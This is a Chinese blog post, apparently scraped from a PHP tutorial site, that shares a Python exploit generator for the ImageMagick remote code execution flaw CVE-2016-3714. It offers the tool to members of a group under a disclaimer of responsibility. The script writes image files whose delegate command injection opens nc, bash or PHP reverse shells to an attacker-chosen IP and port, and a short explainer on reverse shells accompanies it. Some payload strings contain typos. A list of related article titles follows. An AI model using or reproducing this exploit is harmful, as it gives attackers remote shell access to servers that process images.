前几天看到爆出了关于ImageMagick的远程执行漏洞(CVE-2016-3714),所以为了Evil0x.COM核心成员使用,写了一个exp生成脚本供大家使用。(免责声明,出了事我不管)

总体来说这个脚本有三个功能

生成针对NC反弹

生成针对bash反弹

生成针对php反射

服务端都可以使用nc侦听,会反弹shell。生成图片默认exp.png 后缀可以自由更改为其他的图片格式

什么叫做shell反弹?

reverse shell,又称shell反弹或shell反射,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

作者:莫旭友

链接:http://www.zhihu.com/question/24503813/answer/28088923

来源:知乎,稍有改动

以上,放出源代码。

文件下载:

imagemagic_exp.zip

# -*-coding:utf-8-*-#!/usr/bin/env python#imagemagic_exp.py import argparse class payload(object): """ building payload,you must input shell typle and server ip and port CVE-2016-3714 - Insufficient shell characters filtering leads to (potentially remote) code execution Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats """ def __init__(self, shelltype,ip,port): #super(_paload, self).__init__() self.shelltype = shelltype self.ip = ip self.port =port self.nc='nc -e /bin/sh' + self.ip+ ' ' + self.port self.bash= 'bash -i >& /dev/tcp/' + self.ip + '/' + self.port +' 0>%1' self.php="php -r '$sock=fsockopen(%s,%s);exec(\"/bin/sh -i &3 2>&3\");'" %(self.ip,self.port) self.shell_dict={ 'nc': self.nc, 'bash': self.bash, 'php': self.php } def payloadbuild(self): """ push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/127.0.0.1/2333 0>&1")' pop graphic-context """ if self.shelltype =='nc': self.shell =self.shell_dict['nc'] if self.shelltype=='bash': self.shell =self.shell_dict['bash'] if self.shelltype=='php': self.shell =self.shell_dict['php'] self.shellcode="fill 'url(https://example.com/image.jpg\"|"+self.shell+ " \")\' " payload =[] payload.append('push graphic-context') payload.append('viewbox 0 0 640 480') payload.append(self.shellcode) payload.append('pop graphic-context') return payload #touch a jpg image def newimage(self): with open('exp.jpg', 'w') as file: for item in self.payloadbuild(): file.write(item+'\n') if __name__=='__main__': parse =argparse.ArgumentParser() parse.add_argument("--nc",help="生成可执行 nc反射的图片",action="store_true") parse.add_argument("--bash",help="生成可执行bash反射的图片",action="store_true") parse.add_argument("--php",help="生成可执行php射的图片",action="store_true") parse.add_argument("--ip",help="反弹shell 的 ip",default='127.0.0.1') parse.add_argument("--port",help="反弹shell的port",default='8888') args=parse.parse_args() if args.nc: test=payload('nc', args.ip, args.port) test.newimage() if args.bash: test=payload('bash', args.ip, args.port) test.newimage() if args.php: test=payload('php', args.ip, args.port) test.newimage()

本文原创发布php中文网,转载请注明出处,感谢您的尊重!

php imagemagick 漏洞,ImageMagick漏洞EXP简易生成脚本相关推荐

  1. ImageMagick命令执行漏洞(CVE-2016–3714)利用及测试

    ImageMagick命令执行漏洞(CVE-2016–3714) 5月3日,ImageMagick官方披露称,目前ImageMagick存在一处远程命令执行漏洞(CVE-2016–3714),当其处理 ...

  2. 上传txt生成字典 java_文件上传漏洞fuzz字典生成脚本小工具分享

    前言 学习xss的时候翻阅资料发现了一个文件上传漏洞fuzz字典生成脚本小工具,试了试还不错,分享一下 配置 需要python2环境 使用方法 $ python upload-fuzz-dic-bui ...

  3. toxssin:一款功能强大的XSS漏洞扫描利用和Payload生成工具

    关于toxssin toxssin是一款功能强大的XSS漏洞扫描利用和Payload生成工具,这款渗透测试工具能够帮助广大研究人员自动扫描.检测和利用跨站脚本XSS漏洞.该工具由一台HTTPS服务器组 ...

  4. recommend.php sql注入漏洞,Espcms通杀SQL注入漏洞分析(附EXP)

    漏洞:Espcms 通杀 SQL注入漏洞分析附EXP 漏洞作者:Seay博客:www.cnseay.com 官网介绍: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操 ...

  5. Espcms通杀SQL注入漏洞分析(附EXP)

    漏洞:Espcms 通杀 SQL注入漏洞分析附EXP 漏洞作者:Seay 博客:www.cnseay.com 官网介绍: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有 ...

  6. linux etc 漏洞利用,漏洞利用 | 看我如何利用Kerberos EoP渗透你的Linux系统

    写在前面的话 在一次红队分析中,我们成功以非特权用户的身份在一个外围网页中实现了命令执行.本文将介绍并分析漏洞(CVE-2018-1685)以及该漏洞的利用方式,该漏洞允许攻击者读取目标主机中的任意文 ...

  7. Microsoft RTF栈溢出漏洞(CVE-2010-3333)漏洞分析

    文章目录 漏洞描述 分析环境 RTF文件格式 基于栈回溯的漏洞分析方法 漏洞利用 Office 2003与Office 2007 Exploit通用性研究 漏洞描述 Microsoft Office ...

  8. web漏洞--注入漏洞

    目录 1.Sql注入 2.Xml注入(xml实体注入,XXE) 3.远程文件包含漏洞 4.本地文件包含漏洞 5.命令注入漏洞 1.Sql注入 1.概念 1.SQL注入是一种Web应用代码中的漏洞. 2 ...

  9. 思科NGA设备中发现的高严重性漏洞,漏洞可导致未经身份验证即可远程攻击设备

    "Cisco NetFlow Generation Appliance(NGA)的流控制传输协议(SCTP)解码器中的漏洞可能允许未经身份验证的远程攻击者导致设备挂起或意外重新加载,从而导致 ...

最新文章

  1. ionic云开发系列二之调用webservice
  2. Numpy np.random.RandomState()的简单用法
  3. windows本地运行sentinel
  4. 自定义ImageButton,实现快进快退功能
  5. 计算机主机系统构成,一个完整的计算机系统通常是由()构成。A.硬件B.主机C.软件D.操作系统...
  6. Ubuntu常用终端命令
  7. PCL对点云进行滤波处理并进行颜色可视化
  8. Jquery截取中文字符串
  9. win10扬声器红叉_Win10系统的音量图标有一个红叉怎么办?
  10. Windows远程桌面连接Ubuntu 16.04
  11. 用Python 操作Web 前端 基础 1
  12. Gradle的使用教程
  13. android设备登录是什么手机_Android手机丢失或被盗?现在就告诉你如何找回它
  14. sel在c语言,iOS 你所不知道的SEL
  15. Akka 指南 之「集群分片」
  16. dellr720服务器做系统,DellR720服务器操作系统的安装与重装
  17. APK编辑器v2.4.3强行修改app背景图、去广告、重新架构等
  18. 简易搜索引擎原理与基于Hadoop MapReduce的搜索引擎实现
  19. unity的ui跟随鼠标移动
  20. android extra_shortcut_icon,Android Shortcut操作(一)

热门文章

  1. vue实现点击后多级标题联动变化
  2. 如何固化预训练模型的参数
  3. VC四种程序启动画面的制作方法
  4. 字符转换指令tr,col,expand
  5. 虚拟机Ping不通主机解决
  6. 完毕port(CompletionPort)具体解释 - 手把手教你玩转网络编程系列之三
  7. opengles2.0 帧缓存对象(FBO)
  8. Linux大文件处理,伪分区
  9. WPF命中测试示例(二)——几何区域命中测试
  10. 游戏杆编程心得二:如何判断按钮的有效按下